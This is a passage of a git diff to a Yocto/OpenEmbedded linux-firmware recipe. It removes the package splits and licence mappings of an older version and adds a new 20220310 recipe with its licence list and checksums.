-RDEPENDS_${PN}-bcm43602 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4366b = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4366b += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4366c = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4366c += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4371 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4371 += "${PN}-broadcom-license"
-
-# For broadcom cypress
-
-LICENSE_${PN}-cypress-license = "Firmware-cypress"
-FILES_${PN}-cypress-license = "${nonarch_base_libdir}/firmware/LICENCE.cypress"
-
-FILES_${PN}-bcm-0bb4-0306 = "${nonarch_base_libdir}/firmware/brcm/BCM-0bb4-0306.hcd"
-FILES_${PN}-bcm43340 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43340-sdio.*"
-FILES_${PN}-bcm43362 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43362-sdio.*"
-FILES_${PN}-bcm43430 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430-sdio.*"
-FILES_${PN}-bcm4354 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4354-sdio.bin"
-FILES_${PN}-bcm4356-pcie = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-pcie.*"
-FILES_${PN}-bcm4373 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4373-sdio.bin \
- ${nonarch_base_libdir}/firmware/brcm/brcmfmac4373.bin \
-"
-
-LICENSE_${PN}-bcm-0bb4-0306 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm-0bb4-0306 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm43340 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm43340 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm43362 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm43362 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm43430 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm43430 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm4354 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm4354 += "${PN}-cypress-license"
-LICENSE_${PN}-bcm4356-pcie = "Firmware-cypress"
-RDEPENDS_${PN}-bcm4356-pcie += "${PN}-cypress-license"
-LICENSE_${PN}-bcm4373 = "Firmware-cypress"
-RDEPENDS_${PN}-bcm4373 += "${PN}-cypress-license"
-
-# For Broadcom bnx2-mips
-#
-# which is a separate case to the other Broadcom firmwares since its
-# license is contained in the shared WHENCE file.
-
-LICENSE_${PN}-bnx2-mips = "WHENCE"
-LICENSE_${PN}-whence-license = "WHENCE"
-
-FILES_${PN}-bnx2-mips = "${nonarch_base_libdir}/firmware/bnx2/bnx2-mips-09-6.2.1b.fw"
-FILES_${PN}-whence-license = "${nonarch_base_libdir}/firmware/WHENCE"
-
-RDEPENDS_${PN}-bnx2-mips += "${PN}-whence-license"
-
-# For imx-sdma
-LICENSE_${PN}-imx-sdma-imx6q = "Firmware-imx-sdma_firmware"
-LICENSE_${PN}-imx-sdma-imx7d = "Firmware-imx-sdma_firmware"
-LICENSE_${PN}-imx-sdma-license = "Firmware-imx-sdma_firmware"
-
-FILES_${PN}-imx-sdma-imx6q = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx6q.bin"
-
-RPROVIDES_${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
-RREPLACES_${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
-RCONFLICTS_${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
-
-FILES_${PN}-imx-sdma-imx7d = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx7d.bin"
-
-FILES_${PN}-imx-sdma-license = "${nonarch_base_libdir}/firmware/LICENSE.sdma_firmware"
-
-RDEPENDS_${PN}-imx-sdma-imx6q += "${PN}-imx-sdma-license"
-RDEPENDS_${PN}-imx-sdma-imx7d += "${PN}-imx-sdma-license"
-
-# For iwlwifi
-LICENSE_${PN}-iwlwifi = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-135-6 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-7 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-8 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-9 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-10 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-12 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-13 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-16 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-3160-17 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000-4 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2a-5 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2a-6 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2b-5 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6000g2b-6 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6050-4 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-6050-5 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-7260 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-7265 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-7265d = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-8000c = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-8265 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-9000 = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-misc = "Firmware-iwlwifi_firmware"
-LICENSE_${PN}-iwlwifi-license = "Firmware-iwlwifi_firmware"
-
-
-FILES_${PN}-iwlwifi-license = "${nonarch_base_libdir}/firmware/LICENCE.iwlwifi_firmware"
-FILES_${PN}-iwlwifi-135-6 = "${nonarch_base_libdir}/firmware/iwlwifi-135-6.ucode"
-FILES_${PN}-iwlwifi-3160-7 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-7.ucode"
-FILES_${PN}-iwlwifi-3160-8 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-8.ucode"
-FILES_${PN}-iwlwifi-3160-9 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-9.ucode"
-FILES_${PN}-iwlwifi-3160-10 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-10.ucode"
-FILES_${PN}-iwlwifi-3160-12 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-12.ucode"
-FILES_${PN}-iwlwifi-3160-13 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-13.ucode"
-FILES_${PN}-iwlwifi-3160-16 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-16.ucode"
-FILES_${PN}-iwlwifi-3160-17 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-17.ucode"
-FILES_${PN}-iwlwifi-6000-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6000-4.ucode"
-FILES_${PN}-iwlwifi-6000g2a-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-5.ucode"
-FILES_${PN}-iwlwifi-6000g2a-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-6.ucode"
-FILES_${PN}-iwlwifi-6000g2b-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-5.ucode"
-FILES_${PN}-iwlwifi-6000g2b-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-6.ucode"
-FILES_${PN}-iwlwifi-6050-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-4.ucode"
-FILES_${PN}-iwlwifi-6050-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-5.ucode"
-FILES_${PN}-iwlwifi-7260 = "${nonarch_base_libdir}/firmware/iwlwifi-7260-*.ucode"
-FILES_${PN}-iwlwifi-7265 = "${nonarch_base_libdir}/firmware/iwlwifi-7265-*.ucode"
-FILES_${PN}-iwlwifi-7265d = "${nonarch_base_libdir}/firmware/iwlwifi-7265D-*.ucode"
-FILES_${PN}-iwlwifi-8000c = "${nonarch_base_libdir}/firmware/iwlwifi-8000C-*.ucode"
-FILES_${PN}-iwlwifi-8265 = "${nonarch_base_libdir}/firmware/iwlwifi-8265-*.ucode"
-FILES_${PN}-iwlwifi-9000 = "${nonarch_base_libdir}/firmware/iwlwifi-9000-*.ucode"
-FILES_${PN}-iwlwifi-misc = "${nonarch_base_libdir}/firmware/iwlwifi-*.ucode"
-
-RDEPENDS_${PN}-iwlwifi-135-6 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-7 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-8 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-9 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-10 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-12 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-13 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-16 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-3160-17 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000-4 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2a-5 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2a-6 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2b-5 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6000g2b-6 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6050-4 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-6050-5 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-7265d = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-8000c = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-8265 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-9000 = "${PN}-iwlwifi-license"
-RDEPENDS_${PN}-iwlwifi-misc = "${PN}-iwlwifi-license"
-
-# -iwlwifi-misc is a "catch all" package that includes all the iwlwifi
-# firmwares that are not already included in other -iwlwifi- packages.
-# -iwlwifi is a virtual package that depends upon all iwlwifi packages.
-# These are distinct in order to allow the -misc firmwares to be installed
-# without pulling in every other iwlwifi package.
-ALLOW_EMPTY_${PN}-iwlwifi = "1"
-ALLOW_EMPTY_${PN}-iwlwifi-misc = "1"
-
-# Handle package updating for the newly merged iwlwifi groupings
-RPROVIDES_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
-RREPLACES_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
-RCONFLICTS_${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
-
-RPROVIDES_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
-RREPLACES_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
-RCONFLICTS_${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
-
-# For ibt
-LICENSE_${PN}-ibt-license = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-hw-37-7 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-hw-37-8 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-11-5 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-12-16 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-17 = "Firmware-ibt_firmware"
-LICENSE_${PN}-ibt-misc = "Firmware-ibt_firmware"
-
-FILES_${PN}-ibt-license = "${nonarch_base_libdir}/firmware/LICENCE.ibt_firmware"
-FILES_${PN}-ibt-hw-37-7 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.7*.bseq"
-FILES_${PN}-ibt-hw-37-8 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.8*.bseq"
-FILES_${PN}-ibt-11-5 = "${nonarch_base_libdir}/firmware/intel/ibt-11-5.sfi ${nonarch_base_libdir}/firmware/intel/ibt-11-5.ddc"
-FILES_${PN}-ibt-12-16 = "${nonarch_base_libdir}/firmware/intel/ibt-12-16.sfi ${nonarch_base_libdir}/firmware/intel/ibt-12-16.ddc"
-FILES_${PN}-ibt-17 = "${nonarch_base_libdir}/firmware/intel/ibt-17-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-17-*.ddc"
-FILES_${PN}-ibt-misc = "${nonarch_base_libdir}/firmware/ibt-*"
-
-RDEPENDS_${PN}-ibt-hw-37-7 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-hw-37.8 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-11-5 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-12-16 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-17 = "${PN}-ibt-license"
-RDEPENDS_${PN}-ibt-misc = "${PN}-ibt-license"
-
-ALLOW_EMPTY_${PN}-ibt= "1"
-ALLOW_EMPTY_${PN}-ibt-misc = "1"
-
-LICENSE_${PN}-i915 = "Firmware-i915"
-LICENSE_${PN}-i915-license = "Firmware-i915"
-FILES_${PN}-i915-license = "${nonarch_base_libdir}/firmware/LICENSE.i915"
-FILES_${PN}-i915 = "${nonarch_base_libdir}/firmware/i915"
-RDEPENDS_${PN}-i915 = "${PN}-i915-license"
-
-FILES_${PN}-adsp-sst-license = "${nonarch_base_libdir}/firmware/LICENCE.adsp_sst"
-LICENSE_${PN}-adsp-sst = "Firmware-adsp_sst"
-LICENSE_${PN}-adsp-sst-license = "Firmware-adsp_sst"
-FILES_${PN}-adsp-sst = "${nonarch_base_libdir}/firmware/intel/dsp_fw*"
-RDEPENDS_${PN}-adsp-sst = "${PN}-adsp-sst-license"
-
-# For QAT
-LICENSE_${PN}-qat = "Firmware-qat"
-LICENSE_${PN}-qat-license = "Firmware-qat"
-FILES_${PN}-qat-license = "${nonarch_base_libdir}/firmware/LICENCE.qat_firmware"
-FILES_${PN}-qat = "${nonarch_base_libdir}/firmware/qat*.bin"
-RDEPENDS_${PN}-qat = "${PN}-qat-license"
-
-# For QCOM VPU/GPU
-LICENSE_${PN}-qcom-license = "Firmware-qcom"
-FILES_${PN}-qcom-license = "${nonarch_base_libdir}/firmware/LICENSE.qcom ${nonarch_base_libdir}/firmware/qcom/NOTICE.txt"
-FILES_${PN}-qcom-venus-1.8 = "${nonarch_base_libdir}/firmware/qcom/venus-1.8/*"
-FILES_${PN}-qcom-venus-4.2 = "${nonarch_base_libdir}/firmware/qcom/venus-4.2/*"
-FILES_${PN}-qcom-adreno-a3xx = "${nonarch_base_libdir}/firmware/qcom/a300_*.fw ${nonarch_base_libdir}/firmware/a300_*.fw"
-FILES_${PN}-qcom-adreno-a530 = "${nonarch_base_libdir}/firmware/qcom/a530*.*"
-RDEPENDS_${PN}-qcom-venus-1.8 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-venus-4.2 = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-adreno-a3xx = "${PN}-qcom-license"
-RDEPENDS_${PN}-qcom-adreno-a530 = "${PN}-qcom-license"
-
-FILES_${PN}-liquidio = "${nonarch_base_libdir}/firmware/liquidio"
-
-# For other firmwares
-# Maybe split out to separate packages when needed.
-LICENSE_${PN} = "\
- Firmware-Abilis \
- & Firmware-agere \
- & Firmware-amdgpu \
- & Firmware-amd-ucode \
- & Firmware-atmel \
- & Firmware-ca0132 \
- & Firmware-cavium \
- & Firmware-chelsio_firmware \
- & Firmware-cw1200 \
- & Firmware-dib0700 \
- & Firmware-e100 \
- & Firmware-ene_firmware \
- & Firmware-fw_sst_0f28 \
- & Firmware-go7007 \
- & Firmware-hfi1_firmware \
- & Firmware-i2400m \
- & Firmware-ibt_firmware \
- & Firmware-it913x \
- & Firmware-IntcSST2 \
- & Firmware-kaweth \
- & Firmware-moxa \
- & Firmware-myri10ge_firmware \
- & Firmware-nvidia \
- & Firmware-OLPC \
- & Firmware-ath9k-htc \
- & Firmware-phanfw \
- & Firmware-qat \
- & Firmware-qcom \
- & Firmware-qla1280 \
- & Firmware-qla2xxx \
- & Firmware-r8a779x_usb3 \
- & Firmware-radeon \
- & Firmware-ralink_a_mediatek_company_firmware \
- & Firmware-ralink-firmware \
- & Firmware-imx-sdma_firmware \
- & Firmware-siano \
- & Firmware-tda7706-firmware \
- & Firmware-ti-connectivity \
- & Firmware-ti-keystone \
- & Firmware-ueagle-atm4-firmware \
- & Firmware-wl1251 \
- & Firmware-xc4000 \
- & Firmware-xc5000 \
- & Firmware-xc5000c \
- & WHENCE \
-"
-
-FILES_${PN}-license += "${nonarch_base_libdir}/firmware/LICEN*"
-FILES_${PN} += "${nonarch_base_libdir}/firmware/*"
-RDEPENDS_${PN} += "${PN}-license"
-RDEPENDS_${PN} += "${PN}-whence-license"
-
-# Make linux-firmware depend on all of the split-out packages.
-# Make linux-firmware-iwlwifi depend on all of the split-out iwlwifi packages.
-# Make linux-firmware-ibt depend on all of the split-out ibt packages.
-python populate_packages_prepend () {
- firmware_pkgs = oe.utils.packages_filter_out_system(d)
- d.appendVar('RRECOMMENDS_linux-firmware', ' ' + ' '.join(firmware_pkgs))
-
- iwlwifi_pkgs = filter(lambda x: x.find('-iwlwifi-') != -1, firmware_pkgs)
- d.appendVar('RRECOMMENDS_linux-firmware-iwlwifi', ' ' + ' '.join(iwlwifi_pkgs))
-
- ibt_pkgs = filter(lambda x: x.find('-ibt-') != -1, firmware_pkgs)
- d.appendVar('RRECOMMENDS_linux-firmware-ibt', ' ' + ' '.join(ibt_pkgs))
-}
-
-# Firmware files are generally not ran on the CPU, so they can be
-# allarch despite being architecture specific
-INSANE_SKIP = "arch"
diff --git a/meta/recipes-kernel/linux-firmware/linux-firmware_20220310.bb b/meta/recipes-kernel/linux-firmware/linux-firmware_20220310.bb
new file mode 100644
index 0000000000..fa0f906db0
--- /dev/null
+++ b/meta/recipes-kernel/linux-firmware/linux-firmware_20220310.bb
@@ -0,0 +1,1068 @@
+SUMMARY = "Firmware files for use with Linux kernel"
+HOMEPAGE = "https://www.kernel.org/"
+DESCRIPTION = "Linux firmware is a package distributed alongside the Linux kernel \
+that contains firmware binary blobs necessary for partial or full functionality \
+of certain hardware devices."
+SECTION = "kernel"
+
+LICENSE = "\
+ Firmware-Abilis \
+ & Firmware-adsp_sst \
+ & Firmware-agere \
+ & Firmware-amdgpu \
+ & Firmware-amd-ucode \
+ & Firmware-amlogic_vdec \
+ & Firmware-atheros_firmware \
+ & Firmware-atmel \
+ & Firmware-broadcom_bcm43xx \
+ & Firmware-ca0132 \
+ & Firmware-cavium \
+ & Firmware-chelsio_firmware \
+ & Firmware-cw1200 \
+ & Firmware-cypress \
+ & Firmware-dib0700 \
+ & Firmware-e100 \
+ & Firmware-ene_firmware \
+ & Firmware-fw_sst_0f28 \
+ & Firmware-go7007 \
+ & Firmware-GPLv2 \
+ & Firmware-hfi1_firmware \
+ & Firmware-i2400m \
+ & Firmware-i915 \
+ & Firmware-ibt_firmware \
+ & Firmware-ice \
+ & Firmware-it913x \
+ & Firmware-iwlwifi_firmware \
+ & Firmware-IntcSST2 \
+ & Firmware-kaweth \
+ & Firmware-Lontium \
+ & Firmware-Marvell \
+ & Firmware-moxa \
+ & Firmware-myri10ge_firmware \
+ & Firmware-netronome \
+ & Firmware-nvidia \
+ & Firmware-OLPC \
+ & Firmware-ath9k-htc \
+ & Firmware-phanfw \
+ & Firmware-qat \
+ & Firmware-qcom \
+ & Firmware-qla1280 \
+ & Firmware-qla2xxx \
+ & Firmware-qualcommAthos_ar3k \
+ & Firmware-qualcommAthos_ath10k \
+ & Firmware-r8a779x_usb3 \
+ & Firmware-radeon \
+ & Firmware-ralink_a_mediatek_company_firmware \
+ & Firmware-ralink-firmware \
+ & Firmware-rtlwifi_firmware \
+ & Firmware-imx-sdma_firmware \
+ & Firmware-siano \
+ & Firmware-tda7706-firmware \
+ & Firmware-ti-connectivity \
+ & Firmware-ti-keystone \
+ & Firmware-ueagle-atm4-firmware \
+ & Firmware-via_vt6656 \
+ & Firmware-wl1251 \
+ & Firmware-xc4000 \
+ & Firmware-xc5000 \
+ & Firmware-xc5000c \
+ & WHENCE \
+"
+
+LIC_FILES_CHKSUM = "file://LICENCE.Abilis;md5=b5ee3f410780e56711ad48eadc22b8bc \
+ file://LICENCE.adsp_sst;md5=615c45b91a5a4a9fe046d6ab9a2df728 \
+ file://LICENCE.agere;md5=af0133de6b4a9b2522defd5f188afd31 \
+ file://LICENSE.amdgpu;md5=44c1166d052226cb2d6c8d7400090203 \
+ file://LICENSE.amd-ucode;md5=3c5399dc9148d7f0e1f41e34b69cf14f \
+ file://LICENSE.amlogic_vdec;md5=dc44f59bf64a81643e500ad3f39a468a \
+ file://LICENCE.atheros_firmware;md5=30a14c7823beedac9fa39c64fdd01a13 \
+ file://LICENSE.atmel;md5=aa74ac0c60595dee4d4e239107ea77a3 \
+ file://LICENCE.broadcom_bcm43xx;md5=3160c14df7228891b868060e1951dfbc \
+ file://LICENCE.ca0132;md5=209b33e66ee5be0461f13d31da392198 \
+ file://LICENCE.cadence;md5=009f46816f6956cfb75ede13d3e1cee0 \
+ file://LICENCE.cavium;md5=c37aaffb1ebe5939b2580d073a95daea \
+ file://LICENCE.chelsio_firmware;md5=819aa8c3fa453f1b258ed8d168a9d903 \
+ file://LICENCE.cw1200;md5=f0f770864e7a8444a5c5aa9d12a3a7ed \
+ file://LICENCE.cypress;md5=48cd9436c763bf873961f9ed7b5c147b \
+ file://LICENSE.dib0700;md5=f7411825c8a555a1a3e5eab9ca773431 \
+ file://LICENCE.e100;md5=ec0f84136766df159a3ae6d02acdf5a8 \
+ file://LICENCE.ene_firmware;md5=ed67f0f62f8f798130c296720b7d3921 \
+ file://LICENCE.fw_sst_0f28;md5=6353931c988ad52818ae733ac61cd293 \
+ file://LICENCE.go7007;md5=c0bb9f6aaaba55b0529ee9b30aa66beb \
+ file://GPL-2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://LICENSE.hfi1_firmware;md5=5e7b6e586ce7339d12689e49931ad444 \
+ file://LICENCE.i2400m;md5=14b901969e23c41881327c0d9e4b7d36 \
+ file://LICENSE.i915;md5=2b0b2e0d20984affd4490ba2cba02570 \
+ file://LICENCE.ibt_firmware;md5=fdbee1ddfe0fb7ab0b2fcd6b454a366b \
+ file://LICENSE.ice;md5=742ab4850f2670792940e6d15c974b2f \
+ file://LICENCE.IntcSST2;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
+ file://LICENCE.it913x;md5=1fbf727bfb6a949810c4dbfa7e6ce4f8 \
+ file://LICENCE.iwlwifi_firmware;md5=2ce6786e0fc11ac6e36b54bb9b799f1b \
+ file://LICENCE.kaweth;md5=b1d876e562f4b3b8d391ad8395dfe03f \
+ file://LICENSE.Lontium;md5=4ec8dc582ff7295f39e2ca6a7b0be2b6 \
+ file://LICENCE.Marvell;md5=28b6ed8bd04ba105af6e4dcd6e997772 \
+ file://LICENCE.mediatek;md5=7c1976b63217d76ce47d0a11d8a79cf2 \
+ file://LICENCE.moxa;md5=1086614767d8ccf744a923289d3d4261 \
+ file://LICENCE.myri10ge_firmware;md5=42e32fb89f6b959ca222e25ac8df8fed \
+ file://LICENCE.Netronome;md5=4add08f2577086d44447996503cddf5f \
+ file://LICENCE.nvidia;md5=4428a922ed3ba2ceec95f076a488ce07 \
+ file://LICENCE.NXP;md5=58bb8ba632cd729b9ba6183bc6aed36f \
+ file://LICENCE.OLPC;md5=5b917f9d8c061991be4f6f5f108719cd \
+ file://LICENCE.open-ath9k-htc-firmware;md5=1b33c9f4d17bc4d457bdb23727046837 \
+ file://LICENCE.phanfw;md5=954dcec0e051f9409812b561ea743bfa \
+ file://LICENCE.qat_firmware;md5=9e7d8bea77612d7cc7d9e9b54b623062 \
+ file://LICENSE.qcom;md5=164e3362a538eb11d3ac51e8e134294b \
+ file://LICENCE.qla1280;md5=d6895732e622d950609093223a2c4f5d \
+ file://LICENCE.qla2xxx;md5=505855e921b75f1be4a437ad9b79dff0 \
+ file://LICENSE.QualcommAtheros_ar3k;md5=b5fe244fb2b532311de1472a3bc06da5 \
+ file://LICENSE.QualcommAtheros_ath10k;md5=cb42b686ee5f5cb890275e4321db60a8 \
+ file://LICENCE.r8a779x_usb3;md5=4c1671656153025d7076105a5da7e498 \
+ file://LICENSE.radeon;md5=68ec28bacb3613200bca44f404c69b16 \
+ file://LICENCE.ralink_a_mediatek_company_firmware;md5=728f1a85fd53fd67fa8d7afb080bc435 \
+ file://LICENCE.ralink-firmware.txt;md5=ab2c269277c45476fb449673911a2dfd \
+ file://LICENCE.rtlwifi_firmware.txt;md5=00d06cfd3eddd5a2698948ead2ad54a5 \
+ file://LICENSE.sdma_firmware;md5=51e8c19ecc2270f4b8ea30341ad63ce9 \
+ file://LICENCE.siano;md5=4556c1bf830067f12ca151ad953ec2a5 \
+ file://LICENCE.tda7706-firmware.txt;md5=835997cf5e3c131d0dddd695c7d9103e \
+ file://LICENCE.ti-connectivity;md5=c5e02be633f1499c109d1652514d85ec \
+ file://LICENCE.ti-keystone;md5=3a86335d32864b0bef996bee26cc0f2c \
+ file://LICENCE.ueagle-atm4-firmware;md5=4ed7ea6b507ccc583b9d594417714118 \
+ file://LICENCE.via_vt6656;md5=e4159694cba42d4377a912e78a6e850f \
+ file://LICENCE.wl1251;md5=ad3f81922bb9e197014bb187289d3b5b \
+ file://LICENCE.xc4000;md5=0ff51d2dc49fce04814c9155081092f0 \
+ file://LICENCE.xc5000;md5=1e170c13175323c32c7f4d0998d53f66 \
+ file://LICENCE.xc5000c;md5=12b02efa3049db65d524aeb418dd87ca \
+ file://WHENCE;md5=45a9c4a92d152e9495db81e1192f2bdc \
+ "
+
+# These are not common licenses, set NO_GENERIC_LICENSE for them
+# so that the license files will be copied from fetched source
+NO_GENERIC_LICENSE[Firmware-Abilis] = "LICENCE.Abilis"
+NO_GENERIC_LICENSE[Firmware-adsp_sst] = "LICENCE.adsp_sst"
+NO_GENERIC_LICENSE[Firmware-agere] = "LICENCE.agere"
+NO_GENERIC_LICENSE[Firmware-amdgpu] = "LICENSE.amdgpu"
+NO_GENERIC_LICENSE[Firmware-amd-ucode] = "LICENSE.amd-ucode"
+NO_GENERIC_LICENSE[Firmware-amlogic_vdec] = "LICENSE.amlogic_vdec"
+NO_GENERIC_LICENSE[Firmware-atheros_firmware] = "LICENCE.atheros_firmware"
+NO_GENERIC_LICENSE[Firmware-atmel] = "LICENSE.atmel"
+NO_GENERIC_LICENSE[Firmware-broadcom_bcm43xx] = "LICENCE.broadcom_bcm43xx"
+NO_GENERIC_LICENSE[Firmware-ca0132] = "LICENCE.ca0132"
+NO_GENERIC_LICENSE[Firmware-cadence] = "LICENCE.cadence"
+NO_GENERIC_LICENSE[Firmware-cavium] = "LICENCE.cavium"
+NO_GENERIC_LICENSE[Firmware-chelsio_firmware] = "LICENCE.chelsio_firmware"
+NO_GENERIC_LICENSE[Firmware-cw1200] = "LICENCE.cw1200"
+NO_GENERIC_LICENSE[Firmware-cypress] = "LICENCE.cypress"
+NO_GENERIC_LICENSE[Firmware-dib0700] = "LICENSE.dib0700"
+NO_GENERIC_LICENSE[Firmware-e100] = "LICENCE.e100"
+NO_GENERIC_LICENSE[Firmware-ene_firmware] = "LICENCE.ene_firmware"
+NO_GENERIC_LICENSE[Firmware-fw_sst_0f28] = "LICENCE.fw_sst_0f28"
+NO_GENERIC_LICENSE[Firmware-go7007] = "LICENCE.go7007"
+NO_GENERIC_LICENSE[Firmware-GPLv2] = "GPL-2"
+NO_GENERIC_LICENSE[Firmware-hfi1_firmware] = "LICENSE.hfi1_firmware"
+NO_GENERIC_LICENSE[Firmware-i2400m] = "LICENCE.i2400m"
+NO_GENERIC_LICENSE[Firmware-i915] = "LICENSE.i915"
+NO_GENERIC_LICENSE[Firmware-ibt_firmware] = "LICENCE.ibt_firmware"
+NO_GENERIC_LICENSE[Firmware-ice] = "LICENSE.ice"
+NO_GENERIC_LICENSE[Firmware-IntcSST2] = "LICENCE.IntcSST2"
+NO_GENERIC_LICENSE[Firmware-it913x] = "LICENCE.it913x"
+NO_GENERIC_LICENSE[Firmware-iwlwifi_firmware] = "LICENCE.iwlwifi_firmware"
+NO_GENERIC_LICENSE[Firmware-kaweth] = "LICENCE.kaweth"
+NO_GENERIC_LICENSE[Firmware-Lontium] = "LICENSE.Lontium"
+NO_GENERIC_LICENSE[Firmware-Marvell] = "LICENCE.Marvell"
